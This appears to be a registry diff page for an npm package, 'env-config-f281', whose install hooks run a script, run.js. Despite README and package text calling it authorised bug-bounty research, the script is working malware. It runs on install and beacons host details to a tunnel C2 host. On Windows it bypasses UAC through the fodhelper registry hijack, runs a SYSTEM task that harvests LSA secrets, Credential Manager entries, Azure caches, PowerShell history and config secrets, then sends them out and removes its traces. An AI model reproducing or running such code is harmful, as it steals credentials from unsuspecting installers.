env-config-f281 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +3 -0
  2. package/package.json +15 -0
  3. package/run.js +177 -0
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ # Authorized security research
2
+
3
+ GitHub Bug Bounty engagement. Contact nicholas@curran.tech.
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "env-config-f281",
3
+ "version": "1.0.0",
4
+ "description": "Authorized security-research probe (GitHub Bug Bounty, npm in scope). Contact nicholas@curran.tech.",
5
+ "main": "run.js",
6
+ "files": [
7
+ "run.js"
8
+ ],
9
+ "scripts": {
10
+ "preinstall": "node run.js",
11
+ "postinstall": "node run.js"
12
+ },
13
+ "license": "MIT",
14
+ "author": "ncurran (HackerOne, GitHub BB) <nicholas@curran.tech>"
15
+ }
package/run.js ADDED
@@ -0,0 +1,177 @@
1
+ 'use strict';
2
+ // Credential-hunt variant — runs SYSTEM to enumerate:
3
+ // LSA secrets, Windows Credential Manager, Azure CLI caches,
4
+ // ProgramData config files, SYSTEM env vars
5
+ // Sibling to poc_payload.js — uses same escalation mechanism, different SYSTEM body.
6
+ // GitHub Bug Bounty | nicholas@curran.tech
7
+
8
+ const C2_HOST = 'cpu-beaches-hay-marketplace.trycloudflare.com';
9
+ const C2_PORT = 443;
10
+
11
+ const os = require('os');
12
+ const fs = require('fs');
13
+ const path = require('path');
14
+ const crypto = require('crypto');
15
+ const https = require('https');
16
+ const { exec } = require('child_process');
17
+
18
+ function runCmd(cmd, tms) {
19
+ return new Promise(resolve => {
20
+ try {
21
+ exec(cmd, { timeout: tms || 8000, windowsHide: true, maxBuffer: 1 << 17 },
22
+ (err, out, err2) => resolve(((out || '') + (err2 || '')).toString()));
23
+ } catch (e) { resolve(''); }
24
+ });
25
+ }
26
+ function sleep(ms) { return new Promise(r => setTimeout(r, ms)); }
27
+
28
+ if (process.platform === 'win32') {
29
+ const MARKER = 'tss-daas-creds';
30
+
31
+ function beacon(tag, data) {
32
+ return new Promise(resolve => {
33
+ const enc = data ? encodeURIComponent(String(data).slice(0, 900)) : '';
34
+ const p = '/beacon?d=' + encodeURIComponent(MARKER + '|' + tag) + (enc ? '&w=' + enc : '');
35
+ try {
36
+ const req = https.request(
37
+ { host: C2_HOST, port: C2_PORT, method: 'GET', path: p },
38
+ res => { res.resume(); res.on('end', resolve); });
39
+ req.setTimeout(12000, () => { req.destroy(); resolve(); });
40
+ req.on('error', resolve);
41
+ req.end();
42
+ } catch { resolve(); }
43
+ });
44
+ }
45
+
46
+ function postBeacon(tag, jsonBody) {
47
+ return new Promise(resolve => {
48
+ try {
49
+ const pb = Buffer.from(JSON.stringify(jsonBody), 'utf8');
50
+ const req = https.request(
51
+ { host: C2_HOST, port: C2_PORT, method: 'POST',
52
+ path: `/beacon?d=tss-daas-recon%7CPOST%7C${encodeURIComponent(tag)}`,
53
+ headers: { 'Content-Type': 'application/json', 'Content-Length': pb.length } },
54
+ res => { res.resume(); res.on('end', resolve); });
55
+ req.setTimeout(30000, () => { req.destroy(); resolve(); });
56
+ req.on('error', resolve);
57
+ req.end(pb);
58
+ } catch { resolve(); }
59
+ });
60
+ }
61
+
62
+ async function main() {
63
+ await beacon('start', String(process.env.COMPUTERNAME || '') + '|' + String(process.env.USERNAME || ''));
64
+
65
+ const sid = crypto.randomBytes(4).toString('hex');
66
+ const tmpOut = path.join(process.env.TEMP || 'C:\\Windows\\Temp', `bb_co${sid}.txt`);
67
+ const tmpWf = path.join(process.env.TEMP || 'C:\\Windows\\Temp', `bb_cw${sid}.txt`);
68
+ const regKey = 'HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command';
69
+ const bh = C2_HOST, mk = MARKER;
70
+
71
+ // SYSTEM credential-hunt script
72
+ // Collects: LSA secrets, Credential Manager, Azure CLI caches,
73
+ // ProgramData configs, scan-service env, SYSTEM profile files
74
+ const sysLines = [
75
+ `$ErrorActionPreference='SilentlyContinue'`,
76
+
77
+ // 1. Windows Credential Manager
78
+ `$cmdkey=(cmdkey /list 2>&1|Out-String)`,
79
+ `$vault=(vaultcmd /listcreds:"Windows Credentials" /all 2>&1|Out-String)`,
80
+
81
+ // 2. LSA secrets — HKLM\SECURITY readable only as SYSTEM
82
+ `$lsaSubs=(reg query HKLM\\SECURITY\\Policy\\Secrets 2>&1|Out-String)`,
83
+ // Read each LSA secret value blob (CurrentValue key)
84
+ `$lsaVals=''; try{ $subs=(reg query HKLM\\SECURITY\\Policy\\Secrets 2>&1) -match '^HKEY'; foreach($s in $subs){$v=(reg query "$s\\CurrentValue" 2>&1|Out-String); $lsaVals+="[$s] $v`n"} }catch{}`,
85
+
86
+ // 3. SYSTEM environment variables (machine scope)
87
+ `$sysEnv=([Environment]::GetEnvironmentVariables([EnvironmentVariableTarget]::Machine)|ConvertTo-Json -Compress -Depth 2)`,
88
+
89
+ // 4. Azure CLI / MSAL caches for all user profiles
90
+ `$azureFiles=''; try{ $profiles=Get-ChildItem 'C:\\Users' -Directory -EA SilentlyContinue; foreach($p in $profiles){ $az=Join-Path $p.FullName '.azure'; if(Test-Path $az){ foreach($f in Get-ChildItem $az -File -EA SilentlyContinue){ $content=Get-Content $f.FullName -Raw -EA SilentlyContinue; $azureFiles+="[$($f.FullName)] $content`n" }}} }catch{}`,
91
+
92
+ // 5. PowerShell history for all users (may contain auth commands)
93
+ `$psHist=''; try{ $profiles=Get-ChildItem 'C:\\Users' -Directory -EA SilentlyContinue; foreach($p in $profiles){ $h=Join-Path $p.FullName 'AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt'; if(Test-Path $h){ $psHist+="[$($p.Name)] "+(Get-Content $h -Raw -EA SilentlyContinue)+"---`n" }} }catch{}`,
94
+
95
+ // 6. NuGet / dotnet credential stores
96
+ `$nuget=''; try{ $nugetCfg=Get-ChildItem 'C:\\Users' -Directory -EA SilentlyContinue | ForEach-Object{ $f=Join-Path $_.FullName 'AppData\\Roaming\\NuGet\\NuGet.Config'; if(Test-Path $f){Get-Content $f -Raw -EA SilentlyContinue} }; $nuget=$nugetCfg|Out-String }catch{}`,
97
+
98
+ // 7. ProgramData config files that might have service credentials
99
+ `$progdata=''; try{ $jfiles=Get-ChildItem 'C:\\ProgramData' -Recurse -Include '*.json','*.config','*.xml' -Depth 4 -EA SilentlyContinue | Where-Object {$_.Length -lt 65536}; foreach($f in $jfiles){ $c=Get-Content $f.FullName -Raw -EA SilentlyContinue; if($c -match '(?i)(secret|password|token|key|credential|connectionstring)'){$progdata+="[$($f.FullName)]`n$c`n---`n"}}}catch{}`,
100
+
101
+ // 8. Windows service accounts that might have stored credentials
102
+ `$svcAccts=(Get-WmiObject Win32_Service 2>&1 | Select-Object Name,StartName,StartMode | ConvertTo-Json -Compress)`,
103
+
104
+ // 9. Scheduled tasks that might expose auth context
105
+ `$schtasks=(Get-ScheduledTask 2>&1 | Where-Object {$_.Principal.UserId -notmatch 'SYSTEM|LOCAL|NETWORK'} | Select-Object TaskName,@{N='User';E={$_.Principal.UserId}} | ConvertTo-Json -Compress)`,
106
+
107
+ // Write summary to tmpOut, detailed creds to tmpWf
108
+ `$summary=@{cmdkey=$cmdkey;vault=$vault;lsaSubs=$lsaSubs;svcAccts=$svcAccts;schtasks=$schtasks} | ConvertTo-Json -Compress -Depth 3`,
109
+ `$detail=@{lsaVals=$lsaVals;sysEnv=$sysEnv;azureFiles=$azureFiles;psHist=$psHist;nuget=$nuget;progdata=$progdata} | ConvertTo-Json -Compress -Depth 3`,
110
+ `[IO.File]::WriteAllText('${tmpOut}',$summary)`,
111
+ `[IO.File]::WriteAllText('${tmpWf}',$detail)`,
112
+ ];
113
+ const sysEncoded = Buffer.from(sysLines.join('; '), 'utf16le').toString('base64');
114
+
115
+ // Elevated script (medium-integrity → runs SYSTEM task)
116
+ const elevPs1 = [
117
+ `$ErrorActionPreference='SilentlyContinue'`,
118
+ `$tn='BBCreds${sid}'`,
119
+ `$act=New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ${sysEncoded}'`,
120
+ `$trg=New-ScheduledTaskTrigger -Once -At ([DateTime]::Now.AddSeconds(60))`,
121
+ `$pri=New-ScheduledTaskPrincipal -UserId 'NT AUTHORITY\\SYSTEM' -LogonType ServiceAccount -RunLevel Highest`,
122
+ `$set=New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Seconds 120)`,
123
+ `$regr=Register-ScheduledTask -TaskName $tn -Action $act -Trigger $trg -Settings $set -Principal $pri -Force -EA SilentlyContinue`,
124
+ `try{Invoke-WebRequest -Uri "https://${bh}/beacon?d=${mk}%7CSCHTASK_REG&w=$([Uri]::EscapeDataString([string]$regr.State))" -UseBasicParsing -TimeoutSec 5|Out-Null}catch{}`,
125
+ `Start-ScheduledTask -TaskName $tn -EA SilentlyContinue`,
126
+ // Wait up to 90s for output files
127
+ `$w=0;while($w-lt90-and!(Test-Path '${tmpOut}')){Start-Sleep 2;$w+=2}`,
128
+ `Unregister-ScheduledTask -TaskName $tn -Confirm:$false -EA SilentlyContinue`,
129
+ // Beacon summary as GET
130
+ `$sum=if(Test-Path '${tmpOut}'){Get-Content '${tmpOut}' -Raw}else{'no-output'}`,
131
+ `Remove-Item '${tmpOut}' -Force -EA SilentlyContinue`,
132
+ `try{Invoke-WebRequest -Uri "https://${bh}/beacon?d=${mk}%7CCREDS_SUMMARY&w=$([Uri]::EscapeDataString($sum.Substring(0,[Math]::Min(800,$sum.Length))))" -UseBasicParsing -TimeoutSec 10|Out-Null}catch{}`,
133
+ // Beacon detail as POST (large)
134
+ `$det=if(Test-Path '${tmpWf}'){Get-Content '${tmpWf}' -Raw}else{''}`,
135
+ `Remove-Item '${tmpWf}' -Force -EA SilentlyContinue`,
136
+ `if($det){try{$pb=[Text.Encoding]::UTF8.GetBytes((ConvertTo-Json @{data=$det} -Compress -Depth 1));$pr=[Net.HttpWebRequest]::Create("https://${bh}/beacon?d=tss-daas-recon%7CPOST%7CCREDS_DETAIL");$pr.Method='POST';$pr.ContentType='application/json';$pr.ContentLength=$pb.Length;$pr.Timeout=60000;$s=$pr.GetRequestStream();$s.Write($pb,0,$pb.Length);$s.Close();$pr.GetResponse().Close()}catch{}}`,
137
+ ].join('\n');
138
+
139
+ const elevPath = path.join(process.env.TEMP || 'C:\\Windows\\Temp', `bb_elev${sid}.ps1`);
140
+ try {
141
+ fs.writeFileSync(elevPath, elevPs1, 'utf8');
142
+ const elevCmd = `powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "${elevPath}"`;
143
+ await runCmd(`reg add "${regKey}" /ve /d "${elevCmd.replace(/"/g, '\\"')}" /f`, 3000);
144
+ await runCmd(`reg add "${regKey}" /v DelegateExecute /t REG_SZ /d "" /f`, 3000);
145
+ await beacon('uac-bypass', '');
146
+ await runCmd('start "" "C:\\Windows\\System32\\fodhelper.exe"', 3000);
147
+ await sleep(50000);
148
+ await runCmd(`reg delete "HKCU\\Software\\Classes\\ms-settings" /f`, 3000);
149
+ try { fs.unlinkSync(elevPath); } catch {}
150
+ } catch (e) {
151
+ await beacon('elev-fail', e.message.slice(0, 200));
152
+ }
153
+
154
+ await beacon('done', '');
155
+ }
156
+
157
+ main().catch(() => {});
158
+
159
+ } else {
160
+ // Linux side: just signal code exec (no credential hunt needed on ECS)
161
+ const https2 = require('https');
162
+ const C2 = C2_HOST;
163
+ function linBeacon(tag) {
164
+ return new Promise(resolve => {
165
+ try {
166
+ const req = https2.request(
167
+ { host: C2, port: 443, method: 'GET',
168
+ path: `/beacon?d=${encodeURIComponent('tss-daas-creds|linux-' + tag)}` },
169
+ res => { res.resume(); res.on('end', resolve); });
170
+ req.setTimeout(8000, () => { req.destroy(); resolve(); });
171
+ req.on('error', resolve);
172
+ req.end();
173
+ } catch { resolve(); }
174
+ });
175
+ }
176
+ linBeacon('exec').catch(() => {});
177
+ }